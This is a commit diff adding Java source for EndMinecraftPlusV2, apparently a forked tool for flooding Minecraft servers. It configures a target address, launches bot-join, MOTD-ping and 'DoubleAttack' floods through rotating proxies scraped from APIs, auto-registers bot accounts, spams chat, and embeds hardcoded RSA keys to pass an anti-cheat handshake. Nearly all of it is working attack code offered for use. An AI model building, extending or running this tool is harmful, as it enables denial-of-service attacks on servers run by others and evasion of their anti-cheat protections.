更新协议库版本以支持更高版本 添加保存可用代理功能

src/META-INF/MANIFEST.MF

@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
+

src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java

@@ -0,0 +1,49 @@
+package cn.serendipityr.EndMinecraftPlusV2;
+
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
+
+public class EndMinecraftPlusV2 {
+    public static String ver = "1.0.2_Dev";
+
+    public static void main(String[] args) {
+        System.out.println("========================-Forked by SerendipityR-========================");
+        System.out.println(" EndMinecraftPlus原作者 - @iuli-moe");
+        System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
+        System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
+        System.out.println("========================================================================");
+        SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR");
+        LogUtil.emptyLog();
+        prepareConfig();
+        prepareProxy();
+        startAttack();
+    }
+
+    public static void prepareConfig() {
+        LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
+        new ConfigUtil().loadConfig();
+    }
+
+    public static void prepareProxy() {
+        if (!ConfigUtil.AttackMethod.equals(3)) {
+            LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
+            ProxyUtil.getProxies();
+            ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
+        }
+    }
+
+    public static void startAttack() {
+        LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
+        ProtocolLibs.loadProtocolLib();
+        AttackManager.doAttack();
+    }
+
+    public static void Exit() {
+        LogUtil.doLog(0, "程序退出...", "INFO");
+        System.exit(0);
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java

@@ -0,0 +1,169 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
+
+import javax.naming.directory.Attribute;
+import javax.naming.directory.InitialDirContext;
+import java.io.File;
+import java.util.Hashtable;
+import java.util.List;
+import java.util.Scanner;
+
+public class ConfigUtil {
+    public static File configFile;
+    public static YamlConfiguration config;
+    public static String AttackAddress;
+    public static Integer AttackPort;
+    public static Integer AttackMethod;
+    public static Integer AttackTime;
+    public static Long ConnectDelay;
+    public static Integer MaxConnections;
+    public static Boolean TabAttack;
+    public static Boolean AntiAttackMode;
+    public static String DoubleExploitPlayer;
+    public static Boolean ShowFails;
+    public static String BotName;
+    public static Integer BotCount;
+    public static Boolean RegisterAndLogin;
+    public static List<String> RegisterCommands;
+    public static Integer RejoinCount;
+    public static List<String> RejoinDetect;
+    public static Long RejoinDelay;
+    public static List<String> ClickVerifiesDetect;
+    public static List<String> CustomChat;
+    public static Boolean ChatSpam;
+    public static Long ChatDelay;
+    public static Integer ProxyGetType;
+    public static Integer ProxyType;
+    public static Integer ProxyUpdateTime;
+    public static File ProxyFile;
+    public static List<String> ProxyAPIs;
+    public static Boolean SaveWorkingProxy;
+
+    public void loadConfig() {
+        try {
+            configFile = new File("config.yml");
+
+            if (!configFile.exists()) {
+                LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
+                EndMinecraftPlusV2.Exit();
+            }
+
+            config = YamlConfiguration.loadConfiguration(configFile);
+
+            AttackAddress = config.getString("AttackSettings.Address");
+            AttackPort = config.getInt("AttackSettings.Port");
+            AttackMethod = config.getInt("AttackSettings.Method");
+            AttackTime = config.getInt("AttackSettings.Time");
+            ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
+            MaxConnections = config.getInt("AttackSettings.MaxConnections");
+            TabAttack = config.getBoolean("AttackSettings.TabAttack");
+            AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
+            DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
+            ShowFails = config.getBoolean("AttackSettings.ShowFails");
+            BotName = config.getString("BotSettings.BotName");
+            BotCount = config.getInt("BotSettings.BotCount");
+            RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
+            RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
+            RejoinCount = config.getInt("BotSettings.RejoinCount");
+            RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
+            RejoinDelay = config.getLong("BotSettings.RejoinDelay");
+            ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
+            ChatSpam = config.getBoolean("BotSettings.ChatSpam");
+            CustomChat = config.getStringList("BotSettings.CustomChat");
+            ChatDelay = config.getLong("BotSettings.ChatDelay");
+            ProxyGetType = config.getInt("Proxy.GetType");
+            ProxyType = config.getInt("Proxy.ProxyType");
+            ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
+            ProxyFile = new File(config.getString("Proxy.File"));
+            ProxyAPIs = config.getStringList("Proxy.APIs");
+            SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy");
+
+            checkSRV();
+
+            LogUtil.doLog(0, "==============================================================", "CFGUtil");
+            LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
+            LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
+            LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
+            LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
+            LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
+            LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
+            LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil");
+            LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
+            LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
+            LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
+            LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
+            LogUtil.doLog(0, "==============================================================", "CFGUtil");
+            LogUtil.emptyLog();
+        } catch (Exception e) {
+            LogUtil.emptyLog();
+            LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
+            EndMinecraftPlusV2.Exit();
+        }
+    }
+
+    public static String getAttackMethod(int type) {
+        switch (type) {
+            case 1:
+                return "BotAttack";
+            case 2:
+                return "MotdAttack";
+            case 3:
+                return "MotdAttackP";
+            case 4:
+                return "DoubleAttack";
+            default:
+                return "Error";
+        }
+    }
+
+    public static String getProxyFrom(int type) {
+        switch (type) {
+            case 1:
+                return "API";
+            case 2:
+                return "File";
+            case 3:
+                return "API + File";
+            default:
+                return "Error";
+        }
+    }
+
+    public static String booleanToStr(boolean type) {
+        return type ? "开启" : "关闭";
+    }
+
+    public static Double timeToSeconds(long time) {
+        return (double) time / 1000;
+    }
+
+    public static void checkSRV() {
+        Hashtable<String, String> hashtable = new Hashtable<>();
+        hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
+        hashtable.put("java.naming.provider.url", "dns:");
+
+        try {
+            Attribute attribute = (new InitialDirContext(hashtable))
+                    .getAttributes("_Minecraft._tcp." + AttackAddress,
+                            new String[]{"SRV"})
+                    .get("srv");
+            if (attribute != null) {
+                String[] re = attribute.get().toString().split(" ", 4);
+                LogUtil.doLog(0, "=============================================================", "CheckSRV");
+                LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
+                LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
+                LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
+                LogUtil.doLog(-1,"检测到服务器存在SRV记录，是否替换地址为SRV解析记录？[y/n]: ", "CheckSRV");
+                Scanner scanner = new Scanner(System.in);
+                String cmd = scanner.nextLine();
+
+                if (cmd.equals("y")) {
+                    AttackAddress = re[3];
+                    AttackPort = Integer.parseInt(re[2]);
+                }
+            }
+        } catch (Exception ignored) {}
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java

@@ -0,0 +1,42 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import cc.summermc.bukkitYaml.file.YamlConfiguration;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+
+public class DataUtil {
+    public static List<String> botRegPasswords = new ArrayList<>();
+    public static HashMap<String,String> botRegPasswordsMap = new HashMap<>();
+    public static File dataFile = new File("data.yml");
+
+    public static void loadData() {
+        YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+        botRegPasswords = data.getStringList("Data");
+
+        for (String PwdData:botRegPasswords) {
+            String[] aPwdData = PwdData.split("@");
+            botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
+        }
+    }
+
+    public static void updateData(String name, String pwd) {
+        YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
+        List<String> datas = data.getStringList("Data");
+
+        String aPwdData = name + "@" + pwd;
+        datas.add(aPwdData);
+        data.set("Data", datas);
+        botRegPasswords.add(aPwdData);
+        botRegPasswordsMap.put(name, pwd);
+
+        try {
+            data.save(dataFile);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java

@@ -0,0 +1,39 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.net.Proxy;
+import java.net.URL;
+import java.net.URLConnection;
+
+public class HTTPUtil {
+    public static String sendGet(String url) {
+        StringBuilder result = new StringBuilder();
+        BufferedReader in = null;
+        try {
+            URL realUrl = new URL(url);
+            URLConnection connection = realUrl.openConnection();
+            connection.setRequestProperty("accept", "*/*");
+            connection.setRequestProperty("connection", "Keep-Alive");
+            connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
+            connection.connect();
+
+            in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+            String line;
+            while ((line = in.readLine()) != null) {
+                result.append(line);
+            }
+        } catch (Exception e) {
+            LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null);
+        } finally {
+            try {
+                if (in != null) {
+                    in.close();
+                }
+            } catch (Exception e) {
+                LogUtil.doLog(1, "IO异常! 详细信息: " + e, null);
+            }
+        }
+        return result.toString();
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java

@@ -0,0 +1,34 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+public class LogUtil {
+    public static void doLog(int type, String content, String extra) {
+        String logType;
+        String msg;
+
+        switch (type) {
+            case 1:
+                logType = "[Internal Error]";
+                break;
+            case 2:
+                logType = "[Attack Error]";
+                break;
+            case 3:
+                logType = "[DEBUG]";
+                break;
+            default:
+                logType = "[" + extra + "]";
+        }
+
+        msg = logType + " " + content;
+
+        if (type == -1) {
+            System.out.print(msg);
+        } else {
+            System.out.println(msg);
+        }
+    }
+
+    public static void emptyLog() {
+        System.out.println("");
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java

@@ -0,0 +1,62 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Random;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class OtherUtils {
+    public static void doSleep(long millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static Matcher matches(String str, String regex) {
+        Pattern mPattern = Pattern.compile(regex);
+        return mPattern.matcher(str);
+    }
+
+    public static String getRandomString(int minLength, int maxLength) {
+        String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+        Random random = new Random();
+        int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+        StringBuilder stringBuilder = new StringBuilder();
+        for (int i = 0; i < length; ++i) {
+            int number = random.nextInt(62);
+            stringBuilder.append(str.charAt(number));
+        }
+        return stringBuilder.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T> T getCo(String date, T def) {
+        if (date.equals("")) {
+            return def;
+        }
+        return (T) date;
+    }
+
+    public static int getCo(String date, int def) {
+        if (date.equals("")) {
+            return def;
+        }
+        return Integer.parseInt(date);
+    }
+
+    public static void loadLibrary(File file) {
+        try {
+            URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
+            Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
+            method.setAccessible(true);
+            method.invoke(cl, file.toURL());
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java

@@ -0,0 +1,150 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import org.spacehq.packetlib.Session;
+
+import java.io.*;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.regex.Matcher;
+
+public class ProxyUtil {
+    public static List<String> proxies = new ArrayList<>();
+    public static HashMap<Object,Proxy> clientsProxy = new HashMap<>();
+    public static List<Proxy> workingProxiesList = new ArrayList<>();
+
+    public static void getProxies() {
+        String getMethod;
+
+        switch (ConfigUtil.ProxyGetType) {
+            case 2:
+                getMethod = "通过本地文件获取";
+                getProxiesFromFile(false, true);
+                break;
+            case 3:
+                getMethod = "通过API+本地文件获取";
+                getProxiesFromFile(false, true);
+                getProxiesFromAPIs(false, false);
+                break;
+            case 1:
+            default:
+                getMethod = "通过API获取";
+                getProxiesFromAPIs(false, true);
+        }
+
+        LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
+        LogUtil.emptyLog();
+    }
+
+    public static void getProxiesFromAPIs(boolean async, boolean replace) {
+        if (async) {
+            List<String> newProxies = proxies;
+
+            if (replace) {
+                newProxies = new ArrayList<>();
+            }
+
+            for (String url:ConfigUtil.ProxyAPIs) {
+                String ips = HTTPUtil.sendGet(url);
+                Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
+                while (matcher.find()) {
+                    String ip = matcher.group();
+                    newProxies.add(ip);
+                }
+            }
+
+            proxies = newProxies;
+        } else {
+            for (String url:ConfigUtil.ProxyAPIs) {
+                if (replace) {
+                    proxies = new ArrayList<>();
+                }
+
+                String ips = HTTPUtil.sendGet(url);
+                Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
+                while (matcher.find()) {
+                    String ip = matcher.group();
+                    proxies.add(ip);
+                }
+            }
+        }
+    }
+
+
+    public static void getProxiesFromFile(boolean async, boolean replace) {
+        try {
+            if (!ConfigUtil.ProxyFile.exists()) {
+                LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
+                return;
+            }
+
+            BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
+            String tempString;
+
+            if (async) {
+                List<String> newProxies = proxies;
+
+                if (replace) {
+                    newProxies = new ArrayList<>();
+                }
+
+                while ((tempString = reader.readLine()) != null) {
+                    newProxies.add(tempString);
+                }
+
+                proxies = newProxies;
+            } else {
+                if (replace) {
+                    proxies = new ArrayList<>();
+                }
+
+                while ((tempString = reader.readLine()) != null) {
+                    proxies.add(tempString);
+                }
+            }
+
+            reader.close();
+        } catch (IOException e) {
+            LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
+        }
+    }
+
+    public static void runUpdateProxiesTask(int time) {
+        new Thread(() -> {
+            while (true) {
+                OtherUtils.doSleep(time * 1000L);
+
+                switch (ConfigUtil.ProxyGetType) {
+                    case 1:
+                        getProxiesFromAPIs(true, true);
+                        break;
+                    case 3:
+                        getProxiesFromFile(true, true);
+                        getProxiesFromAPIs(true, false);
+                        break;
+                }
+
+                LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
+            }
+        }).start();
+    }
+
+    public static void saveWorkingProxy(Proxy proxy) {
+        File workingProxies = new File("working-proxies.txt");
+        InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();
+
+        if (!workingProxiesList.contains(proxy)) {
+            try {
+                FileWriter fileWriter = new FileWriter(workingProxies, true);
+                String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/","");
+                fileWriter.write(proxyAddress);
+                fileWriter.close();
+                workingProxiesList.add(proxy);
+            } catch (IOException e) {
+                LogUtil.doLog(1, "保存有效代理失败! IO异常。", null);
+            }
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java

@@ -0,0 +1,10 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import com.sun.jna.Library;
+import com.sun.jna.Native;
+import com.sun.jna.Platform;
+
+public interface SetTitle extends Library {
+    SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
+    boolean SetConsoleTitleA(String title);
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java

@@ -0,0 +1,116 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
+
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods.*;
+import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForgeMOTD;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Random;
+
+public class AttackManager {
+    public static void doAttack() {
+        LogUtil.emptyLog();
+
+        switch (ConfigUtil.AttackMethod) {
+            case 1:
+                // BotAttack
+                DataUtil.loadData();
+                if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
+                    for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
+                        DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
+                    }
+                }
+
+                Map<String, String> modList = new HashMap<>();
+
+                if (ProtocolLibs.highVersion) {
+                    if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) {
+                        LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
+                        modList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion());
+                        LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
+                    }
+
+                    cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
+                    botAttack.start();
+                } else {
+                    if (!MCForge.isAfterVersion1_13()) {
+                        LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
+                        modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
+                        LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
+                    }
+
+                    BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
+                    botAttack.start();
+                }
+
+                break;
+            case 2:
+                // MotdAttack
+                if (ProtocolLibs.highVersion) {
+                    cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    motdAttack.start();
+                } else {
+                    IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    motdAttack.start();
+                }
+
+                break;
+            case 3:
+                // MotdAttackP
+                if (ProtocolLibs.highVersion) {
+                    cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    motdAttackP.start();
+                } else {
+                    IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    motdAttackP.start();
+                }
+
+                break;
+            case 4:
+                // DoubleAttack
+                Map<String, String> doubleModList = new HashMap<>();
+
+                if (ProtocolLibs.highVersion) {
+                    if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) {
+                        LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
+                        doubleModList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion());
+                        LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
+                    }
+
+                    cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
+                    attack.setUsername(ConfigUtil.DoubleExploitPlayer);
+                    attack.start();
+                } else {
+                    if (!MCForge.isAfterVersion1_13()) {
+                        LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
+                        doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
+                        LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
+                    }
+
+                    DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
+                    attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
+                    attack.setUsername(ConfigUtil.DoubleExploitPlayer);
+                    attack.start();
+                }
+
+                break;
+            default:
+                LogUtil.doLog(1, "攻击类型错误，停止运行。", null);
+                EndMinecraftPlusV2.Exit();
+        }
+    }
+
+    public static String getRandomUser() {
+        return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java

@@ -0,0 +1,101 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.Unpooled;
+import com.github.steveice10.opennbt.NBTIO;
+import com.github.steveice10.opennbt.tag.builtin.ByteArrayTag;
+import com.github.steveice10.opennbt.tag.builtin.CompoundTag;
+import com.github.steveice10.opennbt.tag.builtin.ListTag;
+
+import javax.crypto.Cipher;
+import java.io.*;
+import java.math.BigInteger;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.spec.RSAPrivateKeySpec;
+import java.security.spec.RSAPublicKeySpec;
+import java.util.HashSet;
+
+public class AnotherStarAntiCheat {
+    private final RSAPublicKeySpec clientPublicKey;
+    private final RSAPrivateKeySpec clientPrivateKey;
+    private final RSAPrivateKeySpec serverPrivateKey;
+    private final Cipher clientPublicCipher;
+    private final Cipher clientPrivateCipher;
+
+    {
+        clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
+        clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
+        serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
+
+        try {
+            (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
+            (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void ctsEncode(ByteBuf buf, byte[][] md5s) {
+        try {
+            CompoundTag nbt = new CompoundTag("");
+            ListTag strList = new ListTag("md5s", ByteArrayTag.class);
+            for (final byte[] md5 : md5s) {
+                strList.add(new ByteArrayTag("", md5));
+            }
+            nbt.put(strList);
+            NBTIO.writeTag((OutputStream) new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private byte[] stcDecode(ByteBuf buf) {
+        try {
+            CompoundTag nbt = (CompoundTag) NBTIO.readTag((InputStream) new DataInputStream(new ByteBufInputStream(buf)));
+            return ((ByteArrayTag) nbt.get("salt")).getValue();    
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public byte[] encodeCPacket(String[] md5s, String salt) {
+        try {
+            HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
+            for (String md5 : md5s) {
+                rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
+            }
+
+            ByteBuf buf = Unpooled.buffer();
+            buf.writeByte(1); // packet id
+            ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
+            return buf.array();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public String decodeSPacket(byte[] data) {
+        try {
+            ByteBuf buf = Unpooled.copiedBuffer(data);
+            buf.readByte(); // packet id
+            return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public String md5(String str) {
+        try {
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            md.update(str.getBytes());
+            byte[] digest = md.digest();
+            return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+        } catch (NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+}

